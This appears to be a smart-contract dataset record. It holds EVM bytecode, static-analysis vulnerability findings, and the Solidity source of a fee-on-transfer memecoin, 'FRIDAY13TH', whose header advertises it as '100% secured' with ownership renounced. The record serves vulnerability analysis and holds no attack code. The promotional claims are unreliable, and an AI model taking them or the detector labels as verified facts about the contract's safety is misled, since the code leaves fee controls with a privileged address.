5b15156115c457600080fd5b61161682600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461301a90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116ab82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061177d82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461301a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600760009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118e157600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561192f57600080fd5b33905061198482600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461301a90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119dc82600d5461301a90919063ffffffff16565b600d819055506119f782600a5461301a90919063ffffffff16565b600a819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611aac57600080fd5b60ff825111151515611abd57600080fd5b600090505b81518160ff161015611b4d57600160036000848460ff16815181101515611ae557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611ac2565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bae57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163190508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611c0857600080fd5b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cb257600080fd5b601060009054906101000a900460ff16151515611cce57600080fd5b6001601060016101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d4d57600080fd5b6001600b60006101000a81548160ff0219169083151502179055506001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b611da2613660565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611e385780601f10611e0d57610100808354040283529160200191611e38565b820191906000526020600020905b815481529060010190602001808311611e1b57829003601f168201915b5050505050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e9f57600080fd5b601060009054906101000a900460ff16151515611ebb57600080fd5b6001601060006101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f3a57600080fd5b60ff825111151515611f4b57600080fd5b600090505b81518160ff161015611fdb57600060036000848460ff16815181101515611f7357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611f50565b5050565b601060019054906101000a900460ff1681565b600f5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561205357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156120ca57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561212a57600080fd5b601060009054906101000a900460ff1615151561214657600080fd5b60ff83511115151561215757600080fd5b8151835114151561216757600080fd5b600090505b82518160ff16101561221857600954828260ff1681518110151561218c57fe5b90602001906020020151111515156121a357600080fd5b6121e1838260ff168151811015156121b757fe5b90602001906020020151838360ff168151811015156121d257fe5b90602001906020020151612e9e565b50600d54600a5410151561220b576001601060006101000a81548160ff0219169083151502179055505b808060010191505061216c565b505050565b6000612227613674565b60011515600b60009054906101000a900460ff16151514151561224957600080fd5b61225284613033565b1561226957612262848483613046565b9150612277565b6122748484836133e7565b91505b5092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122db57600080fd5b601060009054906101000a900460ff161515156122f757600080fd5b6001601060026101000a81548160ff0219169083151502179055506001905090565b600060011515600b60009054906101000a900460ff16151514151561233d57600080fd5b61234684613033565b1561235d57612356848484613046565b905061236b565b6123688484846133e7565b90505b9392505050565b601060009054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561243057600080fd5b6102c65a03f1151561244157600080fd5b505050604051805190509050809250505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156124b557600080fd5b83600e8190555082600c8190555081600f81905550600190509392505050565b60046020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561254a57600080fd5b6000601060006101000a81548160ff0219169083151502179055506001905090565b60095481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900460ff1681565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561266c57600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561271257600080fd5b6102c65a03f1151561272357600080fd5b5050506040518051905090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156127fb57600080fd5b6102c65a03f1151561280c57600080fd5b5050506040518051905092505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561287c57600080fd5b6000600b60006101000a81548160ff0219169083151502179055506001905090565b600a5481565b601060029054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561291457600080fd5b601060009054906101000a900460ff1615151561293057600080fd5b60ff83511115151561294157600080fd5b600954821115151561295257600080fd5b600090505b82518160ff1610156129a657600954821115151561297457600080fd5b612998838260ff1681518110151561298857fe5b9060200190602002015183612e9e565b508080600101915050612957565b600d54600a541015156129cf576001601060006101000a81548160ff0219169083151502179055505b505050565b600060011515600b60009054906101000a900460ff1615151415156129f857600080fd5b612a0185613033565b15612dfc5783612a1033611c0c565b1015612a1b57600080fd5b612a6d84600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461301a90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b0284600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b602083101515612b945780518252602082019150602081019050602083039250612b6f565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b83811015612c75578082015181840152602081019050612c5a565b50505050905090810190601f168015612ca25780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515612cc657fe5b826040518082805190602001908083835b602083101515612cfc5780518252602082019150602081019050602083039250612cd7565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019050612e0a565b612e078585856133e7565b90505b949350505050565b60036020528060005260406000206000915054906101000a900460ff1681565b60008082840290506000841480612e535750828482811515612e5057fe5b04145b1515612e5b57fe5b8091505092915050565b6000808284811515612e7357fe5b0490508091505092915050565b6000808284019050838110151515612e9457fe5b8091505092915050565b6000601060009054906101000a900460ff16151515612ebc57600080fd5b600060095410151515612ece57600080fd5b6009548211151515612edf57600080fd5b612ef482600a54612e8090919063ffffffff16565b600a81905550612f0f8260095461301a90919063ffffffff16565b600981905550612f6782600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082821115151561302857fe5b818303905092915050565b600080823b905060008111915050919050565b6000808361305333611c0c565b101561305e57600080fd5b6130b084600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461301a90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314584600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561324d578082015181840152602081019050613232565b50505050905090810190601f16801561327a5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561329a57600080fd5b6102c65a03f115156132ab57600080fd5b505050826040518082805190602001908083835b6020831015156132e457805182526020820191506020810190506020830392506132bf565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b6000826133f333611c0c565b10156133fe57600080fd5b61345083600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461301a90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e583600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8090919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b60208310151561355e5780518252602082019150602081019050602083039250613539565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a723058205bbe80e98b1b2d697428b81335590cfa2a318fe66697d8def25978c36544e7370029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
19
0xb90f18eE111537b68B6787706Ca8e8838af11eea
/*** * * Launching Friday the 13th... $FRIDAY13TH (Freddy’s Coin) * Superstitious? Better skip this one! * * Join community via t.me/friday13th_xyz * www.friday13th.xyz * * 100% secured by a proven team. Fair launch, locked liquidity and ownership renounced! * */ /* SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FRIDAY13TH is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Freddy's Coin | t.me/friday13th_xyz"; string private constant _symbol = unicode"FRIDAY13TH"; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(6)).div(10); _teamFee = (_impactFee.mul(4)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 6; _teamFee = 4; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a91461035d578063c3c8cd801461037d578063c9567bf914610392578063db92dbb6146103a7578063dd62ed3e146103bc578063e8078d941461040257600080fd5b8063715018a6146102ae5780638da5cb5b146102c357806395d89b41146102eb578063a9059cbb1461031e578063a985ceef1461033e57600080fd5b8063313ce567116100fd578063313ce567146101fb57806345596e2e146102175780635932ead11461023957806368a3a6a5146102595780636fc3eaec1461027957806370a082311461028e57600080fd5b806306fdde0314610145578063095ea7b31461017057806318160ddd146101a057806323b872dd146101c657806327f3a72a146101e657600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610417565b6040516101679190611bf3565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611b4b565b610437565b6040519015158152602001610167565b3480156101ac57600080fd5b50683635c9adc5dea000005b604051908152602001610167565b3480156101d257600080fd5b506101906101e1366004611b0b565b61044e565b3480156101f257600080fd5b506101b86104b7565b34801561020757600080fd5b5060405160098152602001610167565b34801561022357600080fd5b50610237610232366004611bae565b6104c7565b005b34801561024557600080fd5b50610237610254366004611b76565b610570565b34801561026557600080fd5b506101b8610274366004611a9b565b6105ef565b34801561028557600080fd5b50610237610612565b34801561029a57600080fd5b506101b86102a9366004611a9b565b61063f565b3480156102ba57600080fd5b50610237610661565b3480156102cf57600080fd5b506000546040516001600160a01b039091168152602001610167565b3480156102f757600080fd5b5060408051808201909152600a81526908ca4928882b26266a8960b31b602082015261015a565b34801561032a57600080fd5b50610190610339366004611b4b565b6106d5565b34801561034a57600080fd5b50601454600160a81b900460ff16610190565b34801561036957600080fd5b506101b8610378366004611a9b565b6106e2565b34801561038957600080fd5b50610237610708565b34801561039e57600080fd5b5061023761073e565b3480156103b357600080fd5b506101b861078b565b3480156103c857600080fd5b506101b86103d7366004611ad3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561040e57600080fd5b506102376107a3565b6060604051806060016040528060238152602001611df460239139905090565b6000610444338484610b56565b5060015b92915050565b600061045b848484610c7a565b6104ad84336104a885604051806060016040528060288152602001611dcc602891396001600160a